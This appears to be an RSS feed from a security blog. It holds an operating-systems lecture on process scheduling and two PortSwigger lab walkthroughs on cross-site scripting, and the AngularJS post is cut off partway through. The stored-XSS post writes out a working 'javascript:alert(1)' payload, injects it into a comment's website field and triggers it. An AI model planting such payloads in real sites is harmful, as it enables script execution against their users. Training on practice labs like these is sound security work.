<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[BreachForce | Blog for InfoSec Enthusiasts]]></title><description><![CDATA[BreachForce: Your InfoSec Hub for Cybersecurity Enthusiasts.]]></description><link>https://breachforce.net</link><image><url>https://cdn.hashnode.com/uploads/logos/65b618fc35b9d2122652b543/cfcf3fce-e885-4437-ad55-fa0287dfa4fa.png</url><title>BreachForce | Blog for InfoSec Enthusiasts</title><link>https://breachforce.net</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 13 Apr 2026 10:59:02 GMT</lastBuildDate><atom:link href="https://breachforce.net/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Lecture 4 - Rediscovering Process Scheduling [Part - 1]]]></title><description><![CDATA[Disclaimer
⚠️ Where the Scheduler whispers, processes tremble — for it decides who runs… and who fades into starvation.
The following content ventures into the ticking heart of the OS — where time slices are bargained, queues grow restless, and sched...]]></description><link>https://breachforce.net/rediscovering-process-scheduling-part-1</link><guid isPermaLink="true">https://breachforce.net/rediscovering-process-scheduling-part-1</guid><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Sun, 28 Dec 2025 12:59:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765604682888/80e6cf20-aded-4aac-8c75-affdd35615b2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-disclaimer"><strong>Disclaimer</strong></h3>
<p>⚠️ <strong>Where the Scheduler whispers, processes tremble — for it decides who runs… and who fades into starvation.</strong></p>
<p>The following content ventures into the ticking heart of the OS — where time slices are bargained, queues grow restless, and scheduling algorithms silently wage war to minimize the average waiting time of every process.</p>
<p><strong>Students and beginners</strong>, tread carefully — the <strong>Scheduler</strong> watches every move, counts every cycle, and never forgets who waited longest.</p>
<p>In this OS series, the focus remains on the <strong>Operating System</strong> (software context) components, not the hardware mechanics beneath them. <em>(For the hardware side of CPU pipelines, caches, and context-switch machinery, refer to computer architecture.)</em></p>
<h3 id="heading-special-thanks"><strong>Special Thanks</strong></h3>
<p>Heartfelt gratitude to <strong>Mr.</strong> <a target="_blank" href="https://www.linkedin.com/in/adhokshajmishra/"><strong>Adhakshoj Mishra Ji</strong></a> for his insightful session and for reviewing this blog.</p>
<p>A sincere thanks as well to the <strong>BreachForce Community Members</strong> for sharing their valuable notes, and to the <strong>BreachForce Community Volunteers</strong> for helping collate and refine this content.</p>
<h1 id="heading-preface">Preface</h1>
<p>In the <a target="_blank" href="https://breachforce.net/lecture-3-reinventing-mmu-part-2">last blog</a>, we explored how <strong>Privileged Mode</strong> emerged inside our MMU — how we designed <strong>SPI, MSRs, and dedicated interrupt handlers</strong> to enforce strict control, protect critical system state, and ensure the kernel always remained safely isolated from user processes.</p>
<p>In this blog, we’ll uncover the depths of <strong>process scheduling</strong> by walking through a series of problems and exploring their possible solutions. As we refine each idea, we’ll naturally encounter subtle design caveats—tiny scheduling dilemmas that demand their own mini-solutions. Through these iterations, we’ll slowly sculpt and evolve our vision of what an ideal scheduler should look like.</p>
<h2 id="heading-important-terminologies">Important Terminologies</h2>
<ul>
<li><p><strong>Process:</strong> A program in execution with its own memory space.</p>
</li>
<li><p><strong>Task:</strong> A generic term that may refer to either a <em>process</em> or a <em>thread</em>, depending on the OS design.</p>
<p>  <em>In this blog, the words</em> <strong><em>process</em></strong> <em>and</em> <strong><em>task</em></strong> <em>will be used interchangeably.</em></p>
</li>
<li><p><strong>Job</strong>: A <strong>job</strong> is a unit of work submitted to the operating system for execution, typically representing a process before it enters the ready queue.</p>
</li>
<li><p><strong>CPU Cycle:</strong> The smallest unit of time in which the CPU performs operations; scheduling algorithms often treat each cycle (or a group of cycles) as the basic time quantum for executing processes.</p>
</li>
<li><p><strong>Waiting Time:</strong> The total time a process spends in the ready queue <em>waiting</em> before it gets CPU time for execution. It excludes actual CPU run time and I/O time</p>
</li>
<li><p><strong>Process Queue:</strong> A data structure used by the operating system to organize and manage processes based on their current state - such as the <strong>ready</strong>, <strong>waiting/blocking</strong>, or **terminated -**allowing the scheduler to decide which process should run next.</p>
</li>
</ul>
<h1 id="heading-process-scheduling">Process Scheduling</h1>
<ul>
<li><p>In the 1980s, computers were extremely expensive, and computational resources were limited. The primary goal was to complete as many tasks as possible using the available hardware efficiently.</p>
</li>
<li><p>When designing an Operating System, our focus should revolve around two key aspects:</p>
<ul>
<li><p><strong>Accuracy of the Program:</strong> This responsibility lies with the developer. The program running on the CPU is assumed to be tested, verified, and trusted by users. The OS does not alter program logic; it simply executes it.</p>
</li>
<li><p><strong>Efficiency of the Program:</strong> This refers to minimizing the total time a process takes to complete. Higher efficiency allows the CPU to perform more work in less time.</p>
</li>
</ul>
</li>
<li><p>To increase efficiency, we aim to complete tasks in the shortest possible time.</p>
</li>
<li><p>To achieve this, we must minimize the waiting time of processes during scheduling and context switching, because freeing the CPU as soon as possible allows more tasks to be completed.</p>
</li>
<li><p>This is why we design a <strong>Process Scheduling Algorithm</strong>, supported by a <strong>process queue</strong>, to ensure that tasks are executed efficiently and system resources are utilized optimally.</p>
</li>
</ul>
<h2 id="heading-problem-how-to-reduce-overhead-while-executing-processes">Problem - How to reduce overhead while executing processes?</h2>
<ul>
<li><p>When multiple processes run concurrently, the system eventually reaches a point where it must pause accepting new processes so that the currently running ones can complete.</p>
</li>
<li><p>Beyond this saturation point, the OS can no longer accommodate new processes in the process queue without degrading performance.</p>
</li>
<li><p>Therefore, our goal is to determine a <strong>threshold</strong> - after how many processes should the scheduler temporarily stop accepting new tasks to prevent system overload.</p>
</li>
<li><p>To better understand this problem, consider the following analogy:</p>
<ul>
<li><strong>Why are NEFT and RTGS transactions processed in batches, while IMPS transactions are processed instantly - even though the underlying transaction data is essentially the same?</strong></li>
</ul>
</li>
</ul>
<h2 id="heading-solution-batch-them-at-once">Solution - Batch them at once</h2>
<ul>
<li><p>For any running process, we generally encounter two scenarios:</p>
<ul>
<li><p><strong>Case 1:</strong> The preparation time for the process is negligible (i.e., the overhead is minimal). In this case, we can process tasks immediately as they arrive.</p>
</li>
<li><p><strong>Case 2:</strong> There is significant overhead associated with preparing or validating the process (for example, correlating data with other fields before execution).</p>
</li>
</ul>
</li>
<li><p>If there is no overhead, we follow the Case (1) approach: execute processes as they come.</p>
</li>
<li><p>However, if the overhead is substantial—as in Case (2)—then whether we run <strong>100 processes or 1000 processes</strong>, the preparation overhead remains roughly the same.</p>
</li>
<li><p>In such situations, it becomes more efficient to <strong>batch all the operations together</strong> and handle the overhead once rather than repeatedly.</p>
</li>
<li><p>This is exactly why banks use the NEFT/RTGS approach.</p>
</li>
<li><p><strong>Batching reduces overhead, improves efficiency at scale, and prevents system overload caused by continuous individual requests.</strong></p>
</li>
</ul>
<h2 id="heading-problem-how-do-we-implement-batching-in-process-scheduling"><strong>Problem — How do we implement batching in Process Scheduling?</strong></h2>
<ul>
<li><p>Before proceeding, let us assume:</p>
<ul>
<li><p>We have a single computer with one CPU, one RAM module, and one storage device.</p>
</li>
<li><p>We have a list of jobs that need to be executed.</p>
</li>
</ul>
</li>
<li><p>The key question is: <strong>What is the most efficient way to execute these jobs?</strong></p>
</li>
</ul>
<h2 id="heading-solution-implement-first-come-first-served-fcfs"><strong>Solution — Implement First Come First Served (FCFS)</strong></h2>
<ul>
<li><p>For the jobs we want to execute, two major scenarios arise:</p>
<ul>
<li><p><strong>Case 1: Jobs have little to no preparation overhead.</strong></p>
<ul>
<li><p>In this situation, we can execute jobs immediately as they arrive.</p>
</li>
<li><p>This approach is known as the <strong>First Come First Served (FCFS)</strong> scheduling algorithm.</p>
</li>
</ul>
</li>
<li><p><strong>Case 2: Jobs have significant preparation overhead, but the overhead does not depend on how many jobs are being processed (assuming the jobs are similar).</strong></p>
<ul>
<li><p>In this case, it is more efficient to <strong>batch</strong> the jobs and handle the overhead only once.</p>
</li>
<li><p>After batching, we can run FCFS <strong>on the batch itself</strong>.</p>
</li>
<li><p>Example: <strong>NEFT and RTGS transactions in banks</strong> — they are processed in bulk to minimize repeated overhead.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>There are two ways to perform batching:</p>
<ul>
<li><p><strong>Method 1: Time-based batching</strong></p>
<ul>
<li><p>Wait for a fixed time window.</p>
</li>
<li><p>All processes that arrive during this window are grouped into a batch and executed together.</p>
</li>
</ul>
</li>
<li><p><strong>Method 2: Count-based batching</strong></p>
<ul>
<li><p>Wait until a minimum number of jobs arrive.</p>
</li>
<li><p>Once the threshold is reached, batch them and execute them at once.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p>For simplicity, let us choose <strong>Method 1 (time-based batching)</strong>.</p>
</li>
<li><p>Assume a batching window of <strong>15–30 minutes</strong>.</p>
</li>
<li><p>When batching is used, the <strong>order of jobs inside the batch does not matter</strong>, because the entire batch will take the same overhead time and be processed together (e.g., a fixed 10-minute overhead).</p>
</li>
</ul>
<h2 id="heading-problem-how-to-reduce-average-waiting-time"><strong>Problem — How to Reduce Average Waiting Time?</strong></h2>
<ul>
<li><p>The main challenge here is: <strong>How do we reduce the average waiting time of all jobs?</strong></p>
</li>
<li><p>Why do we care about minimizing average waiting time?</p>
<ul>
<li><p>It improves overall user experience.</p>
</li>
<li><p>It provides a competitive marketing advantage (faster systems feel better).</p>
</li>
<li><p>The end-user does not understand OS internals — they only perceive how long things “feel.”</p>
</li>
</ul>
</li>
<li><p>Let us consider three jobs with the following execution times:</p>
<ul>
<li><p><strong>J1:</strong> 5 minutes</p>
</li>
<li><p><strong>J2:</strong> 3 minutes</p>
</li>
<li><p><strong>J3:</strong> 2 minutes</p>
</li>
<li><p><strong>Total execution time:</strong> 10 minutes (this value will remain constant regardless of ordering)</p>
</li>
</ul>
</li>
<li><p>The question now becomes: <strong>How can we reduce the average waiting time of these three jobs?</strong></p>
</li>
</ul>
<h2 id="heading-solution-implement-shortest-job-first-sjf"><strong>Solution — Implement Shortest Job First (SJF)</strong></h2>
<ul>
<li><p>We can reduce waiting time by reordering the jobs intelligently instead of running them in the order they arrive.</p>
</li>
<li><p>Using the earlier example, consider the following two possible orderings:</p>
<ul>
<li><p><strong>Ordering 1: J1 → J2 → J3</strong></p>
<ul>
<li><p><strong>Waiting times</strong></p>
<ul>
<li><p>J1 = 0</p>
</li>
<li><p>J2 = 5</p>
</li>
<li><p>J3 = 8</p>
</li>
</ul>
</li>
<li><p><strong>Average waiting time</strong></p>
<ul>
<li>(0 + 5 + 8) / 3 = 13 / 3 ≈ <strong>4.3 minutes → 4 minutes (approx)</strong></li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Ordering 2: J2 → J3 → J1</strong></p>
<ul>
<li><p><strong>Waiting times</strong></p>
<ul>
<li><p>J2 = 0</p>
</li>
<li><p>J3 = 3</p>
</li>
<li><p>J1 = 5</p>
</li>
</ul>
</li>
<li><p><strong>Average waiting time</strong></p>
<ul>
<li>(0 + 3 + 5) / 3 = 8 / 3 ≈ <strong>2.67 minutes → 3 minutes (approx)</strong></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><p>Notice that in both cases, the <strong>total execution time remains the same</strong>: 10 minutes.</p>
</li>
<li><p>But by <strong>simply reordering the jobs</strong>, we significantly reduce the average waiting time.</p>
</li>
<li><p>Therefore, the optimal strategy is to <strong>execute shorter jobs first</strong>.</p>
</li>
<li><p>This leads us to our second scheduling algorithm:</p>
<ul>
<li><p><strong>Shortest Job First (SJF)</strong></p>
<ul>
<li>An algorithm that minimizes average waiting time by always selecting the job with the shortest execution time.</li>
</ul>
</li>
</ul>
</li>
<li><p>If larger jobs run first, smaller jobs end up experiencing unnecessarily long waiting times.</p>
</li>
<li><p>Reorder the jobs so that smaller jobs execute first, thereby reducing the waiting time for larger jobs. This is the essence of the Shortest Job First (SJF) algorithm.</p>
</li>
<li><p>But the Shortest Job First has some caveats. Let’s understand them one by one using a question-answer methodology.</p>
</li>
</ul>
<h3 id="heading-question-1-when-can-sjf-reduce-the-average-waiting-time"><strong>Question 1 - When can SJF reduce the average waiting time?</strong></h3>
<h3 id="heading-answer">Answer</h3>
<p>In <strong>all cases except one</strong>:</p>
<p>When <strong>all jobs require the same amount of time</strong>, every ordering results in the same waiting time.</p>
<p>Otherwise, SJF always reduces the average waiting time.</p>
<h3 id="heading-question-2-is-there-any-other-scheme-that-guarantees-the-shortest-average-waiting-time"><strong>Question 2 - Is there any other scheme that guarantees the shortest average waiting time?</strong></h3>
<h3 id="heading-answer-1">Answer</h3>
<p>Currently, <strong>none</strong> apart from SJF.</p>
<p>SJF is mathematically proven to produce the <strong>optimal</strong> (minimum possible) average waiting time.</p>
<blockquote>
<p>Take-home assignment:</p>
<p>Prove that SJF yields the minimum average waiting time among all deterministic scheduling strategies.</p>
</blockquote>
<h3 id="heading-question-3-can-we-estimate-waiting-time-without-knowing-the-actual-value"><strong>Question 3 - Can we estimate waiting time without knowing the actual value?</strong></h3>
<h3 id="heading-answer-2">Answer</h3>
<p>Yes.</p>
<p>We can <strong>estimate</strong> execution time based on <strong>CPU cycles</strong> required by the job.</p>
<h3 id="heading-question-4-how-do-we-estimate-execution-time-beyond-cpu-cycles"><strong>Question 4 - How do we estimate execution time beyond CPU cycles?</strong></h3>
<h3 id="heading-answer-3"><strong>Answer</strong></h3>
<p>By counting the total number of CPU <strong>instructions</strong> the job must execute.</p>
<h3 id="heading-question-5-how-do-loops-and-control-statements-affect-this-estimation"><strong>Question 5 - How do loops and control statements affect this estimation?</strong></h3>
<p>Consider two jobs, <strong>J1</strong> and <strong>J2</strong>, both with:</p>
<ul>
<li><p>Same number of instructions</p>
</li>
<li><p>Same number of loops</p>
</li>
</ul>
<p>How do we determine which one will take more time to execute?</p>
<h3 id="heading-answer-4">Answer</h3>
<p>We <strong>cannot know</strong> without actually running them.</p>
<p>This is fundamentally limited by the <strong>Halting Problem</strong> -</p>
<p>We cannot predict a program’s exact runtime or behavior in all cases without executing it.</p>
<p>Thus, runtime estimation becomes impossible for arbitrary programs.</p>
<h3 id="heading-question-6-consider-a-simpler-case"><strong>Question 6 - Consider a simpler case:</strong></h3>
<p>Two jobs <strong>J1</strong> and <strong>J2</strong> with:</p>
<ul>
<li><p>Same number of instructions</p>
</li>
<li><p>No loops</p>
</li>
<li><p>No branching</p>
</li>
</ul>
<p>Will they take the same time? or different time? or something else will occur?</p>
<h3 id="heading-answer-5"><strong>Answer</strong></h3>
<p><strong>Not guaranteed.</strong></p>
<p>Runtime can differ due to:</p>
<ul>
<li><p>Presence of I/O instructions</p>
</li>
<li><p>Location of the file being accessed</p>
</li>
<li><p>Type of storage device (SSD, HDD, tape, RAM disk, etc.)</p>
</li>
<li><p>Storage latency and hardware constraints</p>
</li>
</ul>
<p>In short: <strong>CPU instruction count alone is not enough</strong> to determine execution time.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<ul>
<li><p>If <strong>I/O</strong> is involved, predicting execution time becomes uncertain.</p>
</li>
<li><p>That means SJF will only be applicable on operations which are very defined for which we know how much time it will take for the job to complete.</p>
</li>
<li><p>That means for general purpose instructions where time taken to complete the job is not defined, <strong>SJF will fail.</strong></p>
</li>
<li><p>Therefore. SJF can only be implemented on jobs where time taken to complete is fully defined.</p>
</li>
<li><p>Now for process scheduling we need new algorithm which can satisfy the following cases:</p>
<ul>
<li><p>Case 1: It should not be dependent on waiting time of job.</p>
</li>
<li><p>Case 2: The overall performance of the algorithm should not be negatively impacted if a job takes too much time to execute (i.e. the waiting time of a job increases).</p>
</li>
</ul>
</li>
<li><p>Only then can an OS handle <strong>general-purpose computing</strong> instead of specialized workloads.</p>
</li>
</ul>
<h2 id="heading-coming-up-next"><strong>Coming Up Next</strong></h2>
<ul>
<li><p>In the next lecture, we will study the <strong>Round Robin (RR)</strong> algorithm, its caveats, and approaches to fixing them.</p>
</li>
<li><p>We will then explore how scheduling works in <strong>Modern Operating Systems</strong>, including:</p>
<ul>
<li><p>Feedback loops</p>
</li>
<li><p>Priority queues</p>
</li>
</ul>
</li>
</ul>
<h2 id="heading-additional-context"><strong>Additional Context</strong></h2>
<ul>
<li><p>Processes often do not know their exact memory requirements in advance. They receive a fixed <strong>virtual address space</strong>, but must manage it carefully using:</p>
<ul>
<li><p>Memory allocators</p>
</li>
<li><p>Garbage collectors</p>
</li>
<li><p>Kernel/user memory boundaries</p>
</li>
</ul>
</li>
<li><p>Additionally, the OS may overcommit memory and must use mechanisms like the <strong>OOM-Killer</strong> to maintain system stability.</p>
</li>
<li><p>The primary goals are:</p>
<ul>
<li><p>Ensuring safe memory usage</p>
</li>
<li><p>Avoiding unnecessary process termination</p>
</li>
</ul>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[PortSwigger XSS Lab: Stored XSS]]></title><description><![CDATA[Description
This lab contains a stored cross-site scripting vulnerability in the comment functionality.
Task
To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.
Methodology

Add the Target URL in...]]></description><link>https://breachforce.net/portswigger-stored-xss</link><guid isPermaLink="true">https://breachforce.net/portswigger-stored-xss</guid><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Wed, 26 Nov 2025 07:30:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763927850206/b2530227-7dd3-4d90-9e19-64d1e423cef5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-description">Description</h3>
<p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p>
<h3 id="heading-task">Task</h3>
<p>To solve this lab, submit a comment that calls the alert function when the comment author name is clicked.</p>
<h3 id="heading-methodology">Methodology</h3>
<ul>
<li><p>Add the Target URL in Burpsuite Scope</p>
</li>
<li><p>This is our target website</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921769892/d16ea087-68a4-4bd5-b145-d1fb87396c3a.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>As per the description, the XSS vulnerability is present in the comment section</p>
</li>
<li><p>Click on any post. Scroll down to the comment section. Open the dev console.</p>
</li>
<li><p>Lets add a new comment in the comment section of the blog as shown in the below image</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921784615/8e18bf3f-a74f-425e-baef-16e37b658571.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>After that, go back to the blog to view the newly added comment</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921798885/8ab5b833-c45d-458a-a109-87c395d86b8a.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Lets check the comment author name where the XSS vulnerability might be present</p>
</li>
<li><p>Analyze the comment author name and view its code in the inspector tab</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921809008/3082e718-fa44-4597-9288-30890d541e5f.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>As seen in the above image, the <code>href</code> attribute stores the Website form parameter. It stores them as a hyperlink (which is clear from the <code>&lt;a&gt;</code> tag)</p>
</li>
<li><p>If we click on the comment author name, we would be redirected to the hyperlink inside the <code>href</code> attribute</p>
</li>
<li><p>So, if we want to trigger XSS, we have to store the payload inside the <code>href</code> attribute</p>
</li>
<li><p>Here, we can use the concept of Hierarchical and Non-Hierarchical URLs</p>
<ul>
<li><p>Hierarchical URL:</p>
<ul>
<li><p>They follow the structure <code>scheme://authority/path?query#fragment</code></p>
</li>
<li><p>Example: <a target="_blank" href="https://example.com/path/to/page"><code>https://example.com/path/to/page</code></a></p>
</li>
</ul>
</li>
<li><p>Non-Hierarchical URL:</p>
<ul>
<li><p>No <code>//authority</code> part — structure depends entirely on the scheme definition.</p>
</li>
<li><p>Example: <code>javascript://</code></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p><strong>Note: A short summary will be given for the concept of Hierarchical and Non-Hierarchical URLs above. For further explanation, kindly visit the bottom of the current page</strong></p>
<ul>
<li><p>We can use the <code>javascript://</code> - non-hierarchical URL to run <strong>inline JavaScript code.</strong> It’s used to <strong>execute JavaScript directly</strong> when a link or address bar is used.</p>
<ul>
<li><p>Example:</p>
<pre><code class="lang-jsx">  javascript:alert(<span class="hljs-string">'Hello World'</span>);
</code></pre>
</li>
<li><p>When this URL is visited (for example, in a browser address bar or <code>&lt;a href&gt;</code>), the browser executes the JavaScript code instead of loading a page.</p>
</li>
</ul>
</li>
<li><p>Using the above information, we will now create the below XSS payload</p>
<pre><code class="lang-jsx">  javascript:alert(<span class="hljs-number">1</span>);
</code></pre>
</li>
<li><p>Lets add this payload inside the Website link form parameter by creating a new comment. Click on the Post Comment button</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921826832/ea2f7d9a-fecb-4ced-ad7a-e6021c11db38.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>As soon as we submit the comment, we can see a notification that we have successfully solved the lab</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921843784/52334560-1d26-47ae-bf43-5c96831bbeba.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Lets try to invoke the XSS payload stored inside the <code>href</code> attribute of the comment author name inside the <code>&lt;a&gt;</code> tag</p>
</li>
<li><p>We will go back to the blog and analyze the author name hyperlink</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921854679/1c3a3268-8fc3-4b43-bee0-ca5ea73b8d4c.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>As seen in the above image, the Stored XSS Payload has successfully saved inside the <code>href</code> attribute</p>
</li>
<li><p>To invoke the payload, click on the comment author name <code>Wolf3</code></p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921864860/ffd7d13a-d534-459f-b079-f0fd809bb481.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>We have successfully triggered Stored XSS on the target website</p>
</li>
<li><p>Using the above payload, we have used the non-hierarchical URL <code>javascript://</code> to run inline javascript code inside the <code>href</code> attribute of the <code>&lt;a&gt;</code> tag belonging to the comment author name. Thereby, executing a Stored XSS on the target website</p>
</li>
</ul>
<h1 id="heading-hierarchical-vs-non-hierarchical-url">Hierarchical v/s Non-Hierarchical URL</h1>
<h3 id="heading-url-classification-in-rfc-3986">URL classification in RFC 3986</h3>
<p>According to <strong>RFC 3986 (Uniform Resource Identifier: Generic Syntax)</strong>,</p>
<p>URLs (URIs) can be broadly categorized as:</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Type</td><td>Example</td><td>Hierarchical?</td><td>Explanation</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Hierarchical</strong></td><td><a target="_blank" href="https://example.com/path/to/page"><code>https://example.com/path/to/page</code></a></td><td>✅ Yes</td><td>They follow the structure <code>scheme://authority/path?query#fragment</code>.</td></tr>
<tr>
<td><strong>Non-hierarchical</strong></td><td><code>mailto:logan@example.com</code></td><td>❌ No</td><td>No <code>//authority</code> part - structure depends entirely on the scheme definition.</td></tr>
</tbody>
</table>
</div><h3 id="heading-structure-of-a-hierarchical-url">Structure of a hierarchical URL</h3>
<p>Hierarchical URLs have this <strong>general pattern</strong>:</p>
<pre><code class="lang-javascript">&lt;scheme&gt;:<span class="hljs-comment">//&lt;authority&gt;&lt;path&gt;?&lt;query&gt;#&lt;fragment&gt;</span>
</code></pre>
<p>Example:</p>
<pre><code class="lang-javascript">&lt;https:<span class="hljs-comment">//example.com/blog/article?id=10#comments&gt;</span>
</code></pre>
<p>Here:</p>
<ul>
<li><p><code>scheme</code> = <code>https</code></p>
</li>
<li><p><code>authority</code> = <a target="_blank" href="http://example.com"><code>example.com</code></a></p>
</li>
<li><p><code>path</code> = <code>/blog/article</code></p>
</li>
<li><p><code>query</code> = <code>id=10</code></p>
</li>
<li><p><code>fragment</code> = <code>comments</code></p>
</li>
</ul>
<p>Because of this structured layout, these URLs can be <strong>resolved relative to one another</strong>, e.g.,</p>
<p><code>/blog/article</code> relative to <a target="_blank" href="https://example.com"><code>https://example.com</code></a> → hierarchical traversal is possible.</p>
<h3 id="heading-structure-of-a-non-hierarchical-url">Structure of a non-hierarchical URL</h3>
<p>Non-hierarchical URLs <strong>omit the authority and path</strong> entirely.</p>
<p>They don’t follow the <code>//</code> or <code>/</code> folder structure.</p>
<p>Instead, the content <strong>after the scheme</strong> is directly defined by that specific protocol’s syntax.</p>
<h3 id="heading-examples">Examples:</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Scheme</td><td>Example</td><td>What it means</td></tr>
</thead>
<tbody>
<tr>
<td><code>mailto:</code></td><td><code>mailto:logan@example.com</code></td><td>Open default email client to send mail to that address</td></tr>
<tr>
<td><code>tel:</code></td><td><code>tel:+919999999999</code></td><td>Open phone dialer with number</td></tr>
<tr>
<td><code>data:</code></td><td><code>data:text/plain;base64,SGVsbG8=</code></td><td>Embed inline data (e.g., text, image)</td></tr>
<tr>
<td><code>javascript:</code></td><td><code>javascript:alert('XSS')</code></td><td>Execute inline JavaScript in browser context</td></tr>
</tbody>
</table>
</div><p>All of these are <strong>defined independently</strong> of hierarchical syntax — they don’t have <code>//authority</code> or <code>path</code>.</p>
<h3 id="heading-how-browsers-parse-non-hierarchical-urls">How browsers parse non-hierarchical URLs</h3>
<p>When a browser sees a URL:</p>
<pre><code class="lang-javascript">scheme:something
</code></pre>
<p>it checks whether the scheme’s definition <strong>uses hierarchical syntax</strong> or <strong>non-hierarchical syntax</strong>.</p>
<p>If the scheme is <strong>non-hierarchical</strong>, the browser:</p>
<ol>
<li><p>Skips the authority and path parsing steps.</p>
</li>
<li><p>Passes the rest of the text (after the colon) <strong>directly</strong> to that protocol’s handler.</p>
</li>
<li><p>Executes the handler defined in the browser or OS.</p>
</li>
</ol>
<h3 id="heading-example-breakdown">Example breakdown</h3>
<h3 id="heading-mailtologanexamplecommailtorehanexamplecom"><a target="_blank" href="mailto:rehan@example.com"><code>mailto:logan@example.com</code></a></h3>
<ul>
<li><p>Scheme: <code>mailto</code></p>
</li>
<li><p>Remainder: <a target="_blank" href="mailto:rehan@example.com"><code>logan@example.com</code></a></p>
</li>
<li><p>Browser action: Open mail client with “To” filled in.</p>
</li>
</ul>
<h3 id="heading-javascriptalert1"><code>javascript:alert(1)</code></h3>
<ul>
<li><p>Scheme: <code>javascript</code></p>
</li>
<li><p>Remainder: <code>alert(1)</code></p>
</li>
<li><p>Browser action: Execute code in page context.</p>
</li>
</ul>
<h2 id="heading-security-considerations">Security considerations</h2>
<p>Because non-hierarchical schemes bypass normal navigation and go straight to browser handlers:</p>
<ul>
<li><p><code>javascript:</code> can lead to <strong>XSS or bookmarklet abuse</strong>.</p>
</li>
<li><p><code>data:</code> can embed <strong>inline malicious payloads</strong>.</p>
</li>
<li><p><code>mailto:</code> and <code>tel:</code> can be used in <strong>phishing/social engineering</strong>.</p>
</li>
</ul>
<p>Hence, modern browsers restrict them:</p>
<ul>
<li><p>Many contexts <strong>block</strong> <code>javascript:</code> URLs (inside <code>iframe</code>, <code>a href</code> in sandboxed pages, etc.).</p>
</li>
<li><p>CSP (Content Security Policy) can disable <code>javascript:</code> entirely via <code>script-src</code>.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[PortSwigger XSS Lab: DOM XSS in AngularJS]]></title><description><![CDATA[Description
This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.
AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute ...]]></description><link>https://breachforce.net/portswigger-xss-dom-angularjs</link><guid isPermaLink="true">https://breachforce.net/portswigger-xss-dom-angularjs</guid><dc:creator><![CDATA[Rehan Shaikh]]></dc:creator><pubDate>Mon, 24 Nov 2025 06:10:29 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1763927714662/111cc766-b9eb-4cdb-9526-5953e4f99ea5.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-description">Description</h3>
<p>This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.</p>
<p>AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the <code>ng-app</code> attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.</p>
<h3 id="heading-task">Task</h3>
<p>To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the <code>alert</code> function.</p>
<h3 id="heading-methodology">Methodology</h3>
<ul>
<li><p>Add the Target URL in Burpsuite Scope</p>
</li>
<li><p>Lets identify the framework and its version for the current website</p>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763921141790/611515d2-09fc-4d40-a4c4-0320d3ea7d63.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>As seen in the above image, the website is running AngularJS 1.7.7</p>
</li>
<li><p>AngularJS below 1.7.8 and above 1+ use the <code>$scope</code> method which is used to bind data between controller and view (DOM)</p>
</li>
<li><p>It plays a key role in the <strong>two-way data binding</strong> mechanism.</p>
</li>
<li><p>When a controller sets values on <code>$scope</code>, <strong>all DOM elements that use that controller automatically get access to those properties and methods</strong>.</p>
</li>
<li><p><code>$scope</code> follows a <strong>prototypal inheritance</strong> model.</p>
</li>
</ul>
<blockquote>
<p><strong>Note: AngularJS evaluates expressions in the context of</strong> <code>$rootScope</code> if no controller binding exists.</p>
</blockquote>
<ul>
<li><p>Any property or methods defined in the controller is accessible to the DOM elements <strong>inside</strong> that controller’s scope.</p>
</li>
<li><p>The catch is</p>
